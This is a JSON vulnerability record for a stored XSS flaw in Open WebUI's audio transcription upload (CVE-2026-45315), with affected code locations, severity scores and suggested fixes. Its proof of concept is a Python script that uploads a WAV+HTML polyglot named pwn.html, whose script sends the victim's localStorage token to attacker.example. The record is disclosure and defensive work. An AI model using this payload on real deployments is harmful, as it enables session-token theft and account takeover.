{"id":"CVE-2026-45315","aliases":["CVE-2026-45315","GHSA-m8f9-9whg-f4xr","PYSEC-2026-2748"],"related":[],"kind":"vulnerability","state":"published","title":"Open WebUI: Stored XSS via attacker-controlled file extension in /api/v1/audio/transcriptions","summary":"Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.3, the audio transcription upload endpoint takes the file extension from the user-supplied filename and saves the file under CACHE_DIR/audio/transcriptions/.. The /cache/{path} route serves these files via FileResponse, which sets Content-Type from the on-disk extension and emits no Content-Disposition. A verified user with the default-on chat.stt permission can upload a polyglot WAV+HTML file named pwn.html and trick any other user into opening the resulting URL — the response comes back as text/html and any embedded <script> runs in the Open WebUI origin. This vulnerability is fixed in 0.9.3.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.3, the audio transcription upload endpoint takes the file extension from the user-supplied filename and saves the file under CACHE_DIR/audio/transcriptions/.. The /cache/{path} route serves these files via FileResponse, which sets Content-Type from the on-disk extension and emits no Content-Disposition. A verified user with the default-on chat.stt permission can upload a polyglot WAV+HTML file named pwn.html and trick any other user into opening the resulting URL — the response comes back as text/html and any embedded <script> runs in the Open WebUI origin. This vulnerability is fixed in 0.9.3.","source":"cvelist"},{"lang":"en","text":"## Summary                                                                                                                                                \n\n  The audio transcription upload endpoint takes the file extension from the user-supplied filename and saves the file under CACHE_DIR/audio/transcriptions/<uuid>.<ext>. The /cache/{path} route serves these files via FileResponse, which sets Content-Type from the on-disk extension and emits no Content-Disposition. A verified user with the default-on chat.stt permission can upload a polyglot WAV+HTML file named pwn.html and trick any other user into opening the resulting URL — the response comes back as text/html and any embedded <script> runs in the Open WebUI origin.\n\n## Details\n  Verified on main @ 8dae237a (v0.9.2):                                                                                                       \n  - backend/open_webui/routers/audio.py:1244-1249 — ext = safe_name.rsplit('.', 1)[-1] from user-supplied filename, then filename = f'{id}.{ext}'. No      \n  allowlist, no cross-check against file.content_type.                                                                                                   \n  - backend/open_webui/main.py:2768-2779 — /cache/{path:path} returns FileResponse(file_path). Starlette derives Content-Type from the filename extension  \n  and sets no Content-Disposition.                                                                                                                         \n  - backend/open_webui/utils/misc.py:889-921 — strict_match_mime_type defaults to ['audio/*', 'video/webm'], so Content-Type: audio/wav on the upload\n  passes regardless of the actual body.                                                                                                                    \n  - backend/open_webui/config.py:1482 — USER_PERMISSIONS_CHAT_STT defaults to True.                                                                      \n  - src/routes/+layout.svelte (lines 123, 142, 177, 528, 638, …) — JWT lives in localStorage.token, reachable from JS in the origin.                       \n  - backend/open_webui/utils/oauth.py:1736-1739 — OAuth token cookie set with httponly=False.                                                              \n                                                                                                                                                           \n##  PoC                                                                                                                                                      \n                                                                                                                                                           \n  Tested end-to-end against a harness re-exporting the exact handlers from audio.py and main.py. The cached response was \n  Content-Type: text/html; charset=utf-8 with no Content-Disposition.\n  ```python\n  import struct, httpx                                                                                                                                   \n\n  data = b'\\x80' * 44100                                                                                                                                   \n  wav  = struct.pack('<4sI4s4sIHHIIHH4sI',\n          b'RIFF', 36 + len(data), b'WAVE',                                                                                                                \n          b'fmt ', 16, 1, 1, 44100, 44100, 1, 8,                                                                                                         \n          b'data', len(data)) + data                                                                                                                       \n  payload = wav + b'<script>alert(document.domain);fetch(\"https://attacker.example/x?t=\"+localStorage.token)</script>'\n                      \n                                                                                                                                                           \n  r = httpx.post(                                                                                                                                          \n      'https://VICTIM/api/v1/audio/transcriptions',                                                                                                        \n      headers={'Authorization': f'Bearer {ATTACKER_JWT}'},                                                                                                 \n      files={'file': ('pwn.html', payload, 'audio/wav')},                                                                                                  \n  )                                                                                                                                                        \n  fn = r.json()['filename']      # '<uuid>.html'\n #Send victim to: https://VICTIM/cache/audio/transcriptions/<fn>                                                                 \n```\n\n\nhttps://github.com/user-attachments/assets/c263bfcd-b923-4891-9c2f-a01c1faa6408\n\n\n\n                                                                                                                                        \n##  Impact                                                                                                                                                   \n                                                                                                                                                           \n  Authenticated stored XSS in the Open WebUI origin, exploitable by any verified user with the default-on chat.stt permission. Triggered by a single click from any other authenticated user. Leads to session-token theft (JWT lives in localStorage and the OAuth cookie is non-HttpOnly), enabling full account takeover of any user — including admins. With an admin token, in-process code execution on the server is theoretically reachable through Open WebUI's existing admin-only plugin mechanism, but that path is out of scope for this report.                                                                   \n\n  Affected: <= 0.9.2.\n\n  Suggested fixes (any one breaks the chain): derive the saved extension from the validated MIME against a fixed audio allowlist; on /cache, force         \n  Content-Disposition: attachment and X-Content-Type-Options: nosniff (or restrict served extensions); move JWT to an HttpOnly; SameSite=Lax cookie.\n                                                                                                                                                           \n  Workaround: set USER_PERMISSIONS_CHAT_STT=False to revoke the upload right from non-admins.","format":"markdown","source":"ghsa"},{"lang":"es","text":"Open WebUI es una plataforma de inteligencia artificial autoalojada diseñada para operar completamente sin conexión. Antes de la versión 0.9.3, el endpoint de carga de transcripciones de audio toma la extensión de archivo del nombre de archivo proporcionado por el usuario y guarda el archivo en CACHE_DIR/audio/transcriptions/.. La ruta /cache/{path} sirve estos archivos a través de FileResponse, que establece el Content-Type a partir de la extensión en disco y no emite Content-Disposition. Un usuario verificado con el permiso chat.stt (activado por defecto) puede cargar un archivo políglota WAV+HTML llamado pwn.html y engañar a cualquier otro usuario para que abra la URL resultante - la respuesta se devuelve como text/html y cualquier [script_tag] incrustado se ejecuta en el origen de Open WebUI. Esta vulnerabilidad se corrige en la versión 0.9.3.","source":"nvd"}],"published":"2026-05-14T20:17:58.000Z","modified":"2026-11-11T20:10:00.273Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N","score":8.7,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N","score":8.7,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N","score":8.7,"rating":"HIGH"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N","score":8.7,"rating":"HIGH"}],"cwes":["CWE-79","CWE-434","CWE-646"],"affected":[{"ranges":[{"version":"< 0.9.3","status":"affected"}],"vendor":"open-webui","product":"open-webui","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"0.9.3"}],"ecosystem":"PyPI","package":"open-webui","purl":"pkg:pypi/open-webui","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"0.9.3"}],"vendor":"openwebui","product":"open_webui","cpe":"cpe:2.3:a:openwebui:open_webui:*:*:*:*:*:*:*:*","source":"nvd"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"0.9.3"}],"ecosystem":"PyPI","package":"open-webui","purl":"pkg:pypi/open-webui","source":"pysec"}],"references":[{"url":"https://github.com/open-webui/open-webui/security/advisories/GHSA-m8f9-9whg-f4xr","tags":["exploit","mitigation","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45315","tags":["advisory"],"sources":["ghsa","pysec"]},{"url":"https://github.com/open-webui/open-webui","tags":["package"],"sources":["ghsa","pysec"]},{"url":"https://github.com/open-webui/open-webui/releases/tag/v0.9.3","tags":["web"],"sources":["ghsa","pysec"]},{"url":"https://pypi.org/project/open-webui","tags":["package"],"sources":["pysec"]},{"url":"https://github.com/advisories/GHSA-m8f9-9whg-f4xr","tags":["advisory"],"sources":["pysec"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"total","date":"2026-05-19T12:23:26.142Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-45315","url":"https://www.cve.org/CVERecord?id=CVE-2026-45315","licence":"CVE Terms of Use","modified":"2026-05-19T17:19:33.692Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-m8f9-9whg-f4xr","url":"https://github.com/advisories/GHSA-m8f9-9whg-f4xr","licence":"CC-BY-4.0","modified":"2026-07-13T16:43:15.862Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-45315","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45315","licence":"Public domain","modified":"2026-11-11T20:10:00.273Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2026-2748","url":"https://osv.dev/vulnerability/PYSEC-2026-2748","licence":"CC-BY-4.0","modified":"2026-07-13T16:32:21.539Z"}],"updatedAt":"2026-11-25T22:59:21.874Z","epss":{"score":0.00186,"percentile":0.08643,"date":"2026-12-01T12:00:22.000Z"}}